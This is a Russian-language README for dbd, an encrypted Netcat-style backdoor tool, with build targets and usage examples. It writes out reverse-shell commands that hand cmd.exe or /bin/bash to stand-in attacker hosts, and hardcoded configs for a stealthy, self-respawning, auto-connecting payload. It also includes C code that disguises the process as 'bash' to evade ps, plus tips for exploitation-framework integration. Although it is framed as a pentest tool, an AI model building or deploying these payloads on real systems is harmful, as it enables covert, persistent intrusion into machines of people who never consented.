
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Задняя дверь Дурандаля #Copyright (C) 2013 Кайл Барнхаус [email protected] #dbd распространяется под лицензией GNU GPL #Mipsbe бинарник добавлен Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###КРАТКОЕ ОПИСАНИЕ
dbd — это клон Netcat, предназначенный для обеспечения портативности и надёжного шифрования. Он работает в Unix-подобных операционных системах и в Microsoft Win32. dbd включает шифрование AES-CBC-128 + HMAC-SHA1 (разработка Кристофа Девина), возможность выполнения программ (опция -e), выбор исходного порта, непрерывное переподключение с задержкой и некоторые другие полезные функции. dbd поддерживает только TCP/IP-связь. Исходный код и бинарные файлы распространяются под лицензией GNU General Public License.
###КОМПИЛЯЦИЯ
$ make
использование:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - нативное консольное приложение win32 (с Cygwin + MinGW)
make win32bg - создание нативного приложения win32 без консоли (с Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - скрытое приложение без консоли
make mingw - нативное консольное приложение win32 (с MinGW MSYS)
make mingwbg - нативное приложение win32 без консоли (с MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - скрытое приложение без консоли (с MinGW MSYS)
make cygwin - консольное приложение Cygwin
make darwin - Darwin
опции кросс-компиляции:
make mingw-cross - кросс-компиляция win32 (i586-mingw32msvc-gcc)
make mingwbg-cross - кросс-компиляция win32 без консоли (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - скрытая кросс-компиляция win32
make unix CROSS_COMPILE=<path/to/toolchain-> - кросс-компиляция для любой архитектуры
упаковка в tarball (предварительно переместите скомпилированные файлы в binaries/):
make dist - создание tarball с исходными файлами, readme и binaries/
Для компиляции dbd в Unix-подобной операционной системе необходимы gcc и соответствующие инструменты разработки. Для Linux, FreeBSD, NetBSD, OpenBSD (и, возможно, других) введите:
$ make unix
Для SunOS/Solaris введите:
$ make sunos
Для компиляции dbd в Microsoft Windows (NT/2K/XP/2K3) необходимы MinGW+MSYS или Cygwin с полной поддержкой разработки (Cygwin's MinGW gcc). Чтобы скомпилировать нативное консольное приложение Win32 dbd в Cygwin, введите:
$ make win32
или в MSYS:
$ make mingw
Для компиляции приложения без консоли ("WinMain") в Cygwin введите:
$ make win32bg
или в MSYS:
$ make mingwbg
Для компиляции консольного приложения, специфичного для Cygwin, введите:
$make cygwin
Возможно, вы захотите изменить поведение dbd по умолчанию. Одна из самых важных вещей — изменить общий секретный ключ по умолчанию на свою собственную парольную фразу. Отредактируйте dbd.h и замените на свои настройки. Вы также можете, например, жёстко задать хост + порт для подключения, если dbd запускается без параметров. Полные примеры приведены в dbd.h.
###ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ
Немного воображения — и dbd можно использовать для множества задач:
Используйте dbd для безопасной передачи файлов между двумя сетями:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
или из win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Используйте dbd как простой (но защищённый) чат:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Используйте dbd как бэкдор для пентеста:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
или в Unix-подобных ОС:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###ЖЁСТКО ЗАДАННЫЕ ОПЦИИ
В дополнение к параметрам командной строки, вы можете жёстко задать переменные с помощью #define в dbd.h. Для этого установите нужные переменные как именованные константы и скомпилируйте обычным образом. Например, если вы хотите создать исполняемый файл dbd, который подключается обратно к "evil.nationalbankofuganda.com" на порт 995 и выполняет "/bin/bash", вы можете запустить:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
или, используя жёстко заданные #define, отредактируйте dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Вы также можете настроить параметры перезапуска и скрытности, чтобы поддерживать соединение:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Это настроит соединение на демонизацию ("растворение" в терминах вредоносного ПО), никогда не выводить данные в STDOUT и пытаться переподключаться каждые 15 минут в случае разрыва соединения с прослушивателем.
###РОМУЛАНСКАЯ ТЕХНОЛОГИЯ МАСКИРОВКИ
Теперь перейдём к самому интересному. Когда вы станете мастером жёсткого задания опций в вашем бэкдоре, вы сможете использовать, пожалуй, самую забавную именованную константу в нашем распоряжении: CLOAK. Для этого просто задайте значение:
#define CLOAK 1
ПРИМЕЧАНИЕ: на данный момент это работает только для сборок *nix. В планах — добавить миграцию/хуки процессов для Win32, чтобы и эти цели почувствовали ромуланскую любовь.
Для *nix-окружений эта опция очищает argv[0] и заменяет его строкой "bash\0". Она также очищает все остальные argv[] (было бы глупо, если бы ps возвращал "bash -e /bin/bash someremotehost.com 443", не так ли?) Надеюсь, само собой разумеется, что ВЫ НЕ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЭТУ ОПЦИЮ, ЕСЛИ НЕ ЗАДАЁТЕ ПЕРЕМЕННЫЕ ЖЁСТКО В DBD.H. Кроме того, если вы тестируете это на своей системе, будет забавно выбрать правильный PID для убийства. ;)
Не стесняйтесь использовать этот очиститель в чём угодно:
//берём именованную константу
int cloak = CLOAK;
//Включаем маскировку
if(cloak)
{
#ifdef WIN32
//заглушка
#else
//меняем argv[0] на bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###ПРЕДУПРЕЖДЕНИЕ
Не передавайте кэшированный ввод (файл с командами или что-то подобное) в прослушивающую сессию "dbd -e". "dbd -e" использует каналы для передачи данных между выполняемой программой и dbd. Каналы используются (вместо простого сквозного дублирования дескрипторов файлов) из-за шифрования между каналами и сокетом. Чтобы предотвратить блокировку всего процесса пишущим концом одного из каналов, я сделал его неблокирующим дескриптором. Существует вероятность, что при передаче слишком большого объёма данных за раз в программу -e, они будут усечены (оборваны), так как буфер канала (в ОС) не сможет вместить все данные. Эту проблему можно решить, например, сделав dbd многопоточным, но я буду избегать этого как можно дольше по соображениям совместимости.
##КРОСС-КОМПИЛЯЦИЯ
Поскольку dbd был спроектирован для взаимодействия с другими инструментами/фреймворками, теперь make позволяет кросс-компилировать win32 в системах Linux с установленным набором инструментов mingw32-gcc. Эти опции почти идентичны своим аналогам для Windows с добавлением "-cross" после выбранной сборки. Пример:
$ make mingw-cross
сделает то же самое в системе Linux, что и
$ make mingw
сделал бы в системе win32 с установленными mingw/msys.
На данный момент все опции кросс-компиляции созданы с учётом Kali Linux, но должны работать на любом *nix с небольшой доработкой. Если у вас установлен mingw32-gcc, а make не собирается, отредактируйте переменную WCC в начале Makefile и укажите путь к вашему бинарнику mingw32-gcc.
Начиная с dbd-1.5, вы можете использовать любой инструментарий кросс-сборки для компиляции dbd, установив префикс инструментария как CROSS_COMPILE. Например, сборка arm-версии выполняется так:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
##ПРОДВИНУТОЕ ВОЛШЕБСТВО
Если вы хотите интегрировать dbd с фреймворком эксплуатации, вы можете написать модуль, который генерирует пользовательский dbd.h с параметрами конфигурации, специфичными для вашей цели. Всё, что явно не #define в этом файле, всё равно будет использовать значения по умолчанию, так что вам не нужно писать всё в заголовке. Пример: удалите файл rm dbd.h и замените его на:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
затем выполните make <целевые опции>, чтобы собрать автоматически подключающуюся полезную нагрузку с маскировкой и перезапуском, которая подключается обратно к прослушивающему агенту dbd на evil.nationalbankofuganda.com, работающему с опциями:
$ dbd -l -p 995 -k customcrypto
Ещё один продвинутый трюк — скомпилировать dbd с использованием dietlibc или uClibc. Чтобы скомпилировать агент dbd для Linux с dietlibc, используйте:
$ make unix CROSS_COMPILE="diet -Os "
Обратите внимание на пробел после s в строке. Это позволяет Makefile добавить gcc со стандартными CFLAGS и LDFLAGS, чтобы ваш агент собрался правильно. Преимущество использования dietlibc в том, что он создаёт очень маленький 100% статический исполняемый файл для целевой среды (около 70K для агента dbd под Linux до упаковки, по сравнению со стандартными 700K+ с glibc и gcc -static). Использование uClibc ещё проще, так как вы просто устанавливаете префикс кросс-сборки для вашего инструментария в CROSS_COMPILE.
##ЛИЦЕНЗИЯ
dbd Copyright (C) 2013 Кайл Барнхаус [email protected]
Эта программа является свободным программным обеспечением; вы можете распространять её и/или модифицировать в соответствии с условиями GNU General Public License, опубликованной Free Software Foundation; либо версии 2 Лицензии, либо (по вашему выбору) любой более поздней версии.
Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий КОММЕРЧЕСКОЙ ЦЕННОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. Подробнее см. в GNU General Public License.
Вы должны были получить копию GNU General Public License вместе с этой программой; если нет, напишите в Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Реализация AES-CBC-128 + HMAC-SHA1 в dbd защищена авторским правом (C) Кристофа Девина [email protected] и распространяется под лицензией GNU General Public License (GPL).
Некоторый код (для doexec_win32.h) был получен из doexec.c из Win32-порта Netcat (C) Weld Pond и hobbit. Части doexec.c защищены авторским правом (C) 1994 Nathaniel W. Mishkin (код doexec.c изначально был получен из rlogind.exe).
Оригинальная версия Netcat была написана hobbit [email protected]. Версия для NT была сделана Weld Pond [email protected].
(C) Кайл Барнхаус [email protected]
Консультант по безопасности
gitbrew.org
Hephaestus Security